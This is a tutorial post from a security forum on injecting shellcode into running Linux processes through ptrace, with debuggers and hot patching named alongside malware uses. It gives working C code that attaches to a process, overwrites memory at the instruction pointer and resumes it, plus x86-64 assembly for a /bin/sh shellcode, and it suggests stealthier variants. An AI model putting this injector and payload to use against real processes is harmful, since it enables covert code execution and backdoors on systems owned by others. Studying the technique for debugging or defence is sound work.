[Linux] Infecting Running Processes

0x00sec.org/t/linux-infecting-running-processes/1097

September 16, 2016

0x00pfpico

We have already seen how to infect a file injecting code into the binary so it gets executed next time the infected program is started. But, how to infect a process that is already running?. Well, this paper will introduce the basic techniques you need to learn in order to fiddle with other processes in memory... In other words, it will introduce you to the basics of how to write your own debugger.

Use Cases

Before going into the gory details, let's introduce a couple of situations that may benefit of being able to inject code on a running program.

The very first use case is not really malware related and has been a matter of research for many years: Run-time patching. There are systems that cannot be switched off, or, in other words, switching them off will cost a lot of money. For that reason, being able to apply patches or updates to running process (without even restarting the application) was an hot problem some years ago. Nowadays the cloud/VM paradigm have solved the problem in a different way and this "SW hot-swapping" is not that popular anymore.

The other main benign use case is the development of debuggers and reverse engineering tools. Look for instance to radare2... you will learn the basics of how it works in this paper.

Other use case is obviously the development of malware. Virus, backdoors, etc... I guess there are a lot of uses in here that I cannot even imagine. One use case, many of you may know is the meterpreter process migration capability. That function that moves your payload into a innocent running program.

If you had read some of my papers before, you will know that I'm going to talk about Linux. The basic concepts should be very similar in other operating systems, so I hope this may be useful even if you are not a Linux user.

Enough of introduction let's get to the code

Process Debugging in Linux

Technically speaking, the way to access another process and modify it is through the debugging interfaces provided by the operating systems. The debug system call on Linux is named `ptrace`. `Gdb`, `radare2`, `ddd`, `strace` all those tools use `ptrace` in order to

be able to provide their services.

The `ptrace` system call allows a process to debug another process. Using `ptrace` we will be able to stop a target process execution and examine the values of its registers and memory as well as change them to whatever value we want.

There are two ways to start debugging a process. The first and more immediate one, is to make our `debugger` start the process... `fork` and `exec`. This is what happens when you pass a program name as a parameter to `gdb` or `strace`.

The other option we have is to dynamically attach our debugger to a running process.

For this paper we will concentrate on the second one. Whenever you get familiar enough with the basics you will not have any problem to find the details on how to start a process yourself to debug it.

Attaching to a running process

The first thing we have to do in order to modify a running process is to start debugging it. This process is called `attach` and actually that is the name of the `gdb` command to do what we are about to see in the code:

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#include <sys/user.h>
#include <sys/reg.h>

int
main (int argc, char *argv[])
{
  pid_t                   target;
  struct user_regs_struct regs;
  int                     syscall;
  long                    dst;

  if (argc != 2)
    {
      fprintf (stderr, "Usage:\n\t%s pid\n", argv[0]);
      exit (1);
    }
  target = atoi (argv[1]);
  printf ("+ Tracing process %d\n", target);
  if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0)
    {
      perror ("ptrace(ATTACH):");
      exit (1);
    }
  printf ("+ Waiting for process...\n");
  wait (NULL);
```

In the code above, you can see the typical main function expecting one parameter. In this case the parameter is the `PID` (Process IDentifier) for the process we want to modify. We will be using this parameter in each single `ptrace` call, so we better store it somewhere (`target` variable).

Then we just call `ptrace` using as first parameter `PTRACE_ATTACH`, and as second parameter the `pid` of the process we want to get attached to. After that, we have to call `wait` to *wait* for the `SIGTRAP` signal indicating that the attaching process is completed.

At this point, the process we are connected to is stopped, and we can start modifying it at will.

Injecting code

First we have to decide where do we want our code injected. There are quite some possibilities:

- We can just inserted at the current instruction being executed. This is very straight forward but it destroys the target process, making impossible recovering its original functionality.
- We can try to inject the code at the address where the `main` function is located. There are chances that the code there contains some initialization that only happens at the beginning of the execution, and therefore we may keep the original functionality working as expected.
- Another option is to use one of the ELF infection techniques, and inject the code, for instance, is a code cave in memory
- Finally, we can inject the code in the stack, as a normal buffer overflow. This is pretty safe to avoid destroying the program, but the process may be protected with a non-executable stack.

For the sake of simplicity, we are going to inject the code just at the position of the Instruction Pointer (`rip` register for x86 64bits) when we get control of the process. As you will see in a sec, the code we are injecting is the typical shellcode starting a shell session, and therefore we are not expecting to give control back to the original process. In other words, it does not matter if we destroy part of the program.

Get the Registers and Smash the Memory

This is the code to inject the code in the process under control:

```
printf ("+ Getting Registers\n");
if ((ptrace (PTRACE_GETREGS, target, NULL, &regs)) < 0)
  {
    perror ("ptrace(GETREGS):");
    exit (1);
  }

printf ("+ Injecting shell code at %p\n", (void*)regs.rip);
inject_data (target, shellcode, (void*)regs.rip, SHELLCODE_SIZE);
regs.rip += 2;
```

The first thing we find in this code is a call to `ptrace` with parameter `PTRACE_GETREGS`. This call allows our program to retrieve the values of the registers from the process under control.

After that, we use a function to inject our shellcode in the target process. Note that we are taking the value of `regs.rip` that actually contains the current Instruction Pointer register value from the target process. The `inject_data` function, as you can imagine, just copy our shellcode into the address pointed by `reg.rip` but **in the target process**.

Let's see how.

```
int
inject_data (pid_t pid, unsigned char *src, void *dst, int len)
{
  int      i;
  uint32_t *s = (uint32_t *) src;
  uint32_t *d = (uint32_t *) dst;

  for (i = 0; i < len; i+=4, s++, d++)
    {
      if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0)
        {
          perror ("ptrace(POKETEXT):");
          return -1;
        }
    }
  return 0;
}
```

Very simple isn't it?. There are only two things we have to comment about this function:

1. `PTRACE_POKETEXT` is used to write in the memory of the process being debugged. This is how we actually inject the code in the target process. There is a `PTRACE_PEEKTEXT` also.
2. The `PTRACE_POKETEXT` function works on words, so we convert everything to word pointers (32bits) and we also increase `i` by 4.

Running the injected code

Now that the target process memory has been modified to contain the code we want to run we just need to give control back to the process and let it keep running. This can be done in a couple of different ways. In this case we will just `detach` the target process, that is, we stop debugging the target process. This action effectively stops the debug session and continues the execution of the target process:

```
  printf ("+ Setting instruction pointer to %p\n", (void*)regs.rip);
  if ((ptrace (PTRACE_SETREGS, target, NULL, &regs)) < 0)
    {
      perror ("ptrace(GETREGS):");
      exit (1);
    }
  printf ("+ Run it!\n");

  if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0)
        {
          perror ("ptrace(DETACH):");
          exit (1);
        }
  return 0;
}
```

This should also be pretty straightforward to understand. You may have notice that we are setting the registers back, before `detaching`. OK. Go back to the previous section for a while and check how do we inject the code... Do you see that `regs.rip +=2` line there.

Yes, we had modified the instruction pointer, and that is the reason why we have to set the registers on the target process, before giving the control back. What happens is that, the `PTRACE_DEATCH` subtracts 2 bytes to the Instruction Pointer.

How to figure out those 2 bytes

Those 2 bytes subtracted from `RIP` when calling `PTRACE_DEATCH` were a tricky thing to figure out. I'll tell you how I did it, in case you wonder.

During testing, the target program was crashing when I tried to inject code in the stack. One reason was that the stack was not executable for my target program. I fixed that using the `execstack` tool. But the problem also happened when injecting code in memory regions with execution permissions. So I activated the core dump and analysed what happened.

The reason is that, you cannot run `gdb` against the target program, otherwise our very first `ptrace` call will fail. Yes, you cannot debug the same program with two debuggers at the same time (this sentence hides a common anti-debugging technique). So, what I've got when trying to inject code in the stack was this.

The output of the injector was:

```
+ Tracing process 15333
+ Waiting for process...
+ Getting Registers
+ Injecting shell code at 0x7ffe9a708728
+ Setting instruction pointer to 0x7ffe9a708708
+ Run it!
```

Of course all the addresses and PIDs will be different in your system. Anyway, this produced a core dump on the target that we can open with `gdb` to check what happened.

```
$ gdb ./target core
(... gdb start up messages removed ...)
Reading symbols from ./target...(no debugging symbols found)...done.
[New LWP 15333]
Core was generated by `./target'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x00007ffe9a708706 in ?? ()
```

What you see there is the address that caused the segmentation fault. If you compare it with the address reported by the injector you can see the 2 bytes difference. Fixing that and the stack permissions made the injector work fine.

Testing Program

In order to test this concept I wrote a very simple program. It just prints its `pid` (so I do not have to look for it), and then writes 10 times a message in the screen waiting 2 seconds between messages. This gives you time to launch the injector.

```
#include <stdio.h>
#include <unistd.h>

int main()
{
    int i;

    printf ("PID: %d\n", (int)getpid());
    for(i = 0;i < 10; ++i) {

        write (1, "Hello World\n", 12);
        sleep(2);
    }
    getchar();
    return 0;
}
```

The shellcode I used was produced from this simple assembler file:

```
section .text
        global _start

_start:
        xor rax,rax
        mov rdx,rax             ; No Env
        mov rsi,rax             ; No argv
        lea rdi, [rel msg]

        add al, 0x3b

        syscall
        msg db '/bin/sh',0
```

Final Word

`ptrace` is a very powerful tool. In this paper we have just shown the very basics. Now it is a good time to fire up your terminal and type `man ptrace` to learn about the wonders of this system call.

You may try a couples of things yourself, in case you are interested:

- Modify the injector to feed the code in a code cave
- Use more sophisticated shellcodes that forks a process and keeps the original program running

- Your shellcode will be running on the target project and will have access to all open files…